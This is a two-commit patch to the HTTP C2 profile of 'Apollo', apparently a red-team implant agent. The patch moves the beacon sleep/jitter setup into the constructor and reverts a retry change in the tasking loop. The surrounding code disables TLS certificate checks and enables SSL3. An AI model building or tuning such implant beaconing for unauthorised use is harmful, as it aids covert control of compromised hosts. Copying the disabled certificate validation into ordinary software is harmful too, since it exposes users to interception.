From 8349926432efb34ef3bfc914fb40f5874264f631 Mon Sep 17 00:00:00 2001 From: Rick Console Date: Wed, 6 May 2026 14:32:47 -0400 Subject: [PATCH 1/2] Fix httpx proxy resetting sleep setting --- .../agent_code/HttpxProfile/HttpxProfile.cs | 18 +++++++++--------- 1 file changed, 9 insertions(+), 9 deletions(-) diff --git a/Payload_Type/apollo/apollo/agent_code/HttpxProfile/HttpxProfile.cs b/Payload_Type/apollo/apollo/agent_code/HttpxProfile/HttpxProfile.cs index f1b46f3a..9bccd760 100644 --- a/Payload_Type/apollo/apollo/agent_code/HttpxProfile/HttpxProfile.cs +++ b/Payload_Type/apollo/apollo/agent_code/HttpxProfile/HttpxProfile.cs @@ -134,7 +134,9 @@ public HttpxProfile(Dictionary data, ISerializer serializer, IAg ServicePointManager.ServerCertificateValidationCallback = delegate { return true; }; // Enable TLS protocols: TLS 1.2, TLS 1.1, TLS 1.0, and SSL 3.0 ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12 | SecurityProtocolType.Tls11 | SecurityProtocolType.Tls | SecurityProtocolType.Ssl3; - + + Agent.SetSleep(CallbackInterval, CallbackJitter); + #if DEBUG DebugWriteLine("[HttpxProfile] Constructor complete"); #endif @@ -990,10 +992,7 @@ public void Start() #if DEBUG DebugWriteLine("[Start] HttpxProfile.Start() called - beginning main loop"); #endif - - // Set the agent's sleep interval and jitter from profile settings - Agent.SetSleep(CallbackInterval, CallbackJitter); - + bool first = true; while(Agent.IsAlive()) { @@ -1005,7 +1004,7 @@ public void Start() } DebugWriteLine("[Start] Beginning GetTasking call"); #endif - + bool bRet = GetTasking(resp => { #if DEBUG @@ -1022,9 +1021,10 @@ public void Start() if (!bRet) { #if DEBUG - DebugWriteLine("[Start] GetTasking returned false, breaking loop"); + DebugWriteLine("[Start] GetTasking returned false, retrying after sleep"); #endif - break; + Agent.Sleep(); + continue; } #if DEBUG @@ -1032,7 +1032,7 @@ public void Start() #endif Agent.Sleep(); } - + #if DEBUG DebugWriteLine("[Start] Main loop ended"); #endif From 0026a132ec57fd5ffab2bec650e4719e2df85854 Mon Sep 17 00:00:00 2001 From: Rick Console Date: Wed, 6 May 2026 14:49:12 -0400 Subject: [PATCH 2/2] Revert inner-loop continue change; keep only the SetSleep relocation --- .../apollo/apollo/agent_code/HttpxProfile/HttpxProfile.cs | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) diff --git a/Payload_Type/apollo/apollo/agent_code/HttpxProfile/HttpxProfile.cs b/Payload_Type/apollo/apollo/agent_code/HttpxProfile/HttpxProfile.cs index 9bccd760..8ef0e6ce 100644 --- a/Payload_Type/apollo/apollo/agent_code/HttpxProfile/HttpxProfile.cs +++ b/Payload_Type/apollo/apollo/agent_code/HttpxProfile/HttpxProfile.cs @@ -1021,10 +1021,9 @@ public void Start() if (!bRet) { #if DEBUG - DebugWriteLine("[Start] GetTasking returned false, retrying after sleep"); + DebugWriteLine("[Start] GetTasking returned false, breaking loop"); #endif - Agent.Sleep(); - continue; + break; } #if DEBUG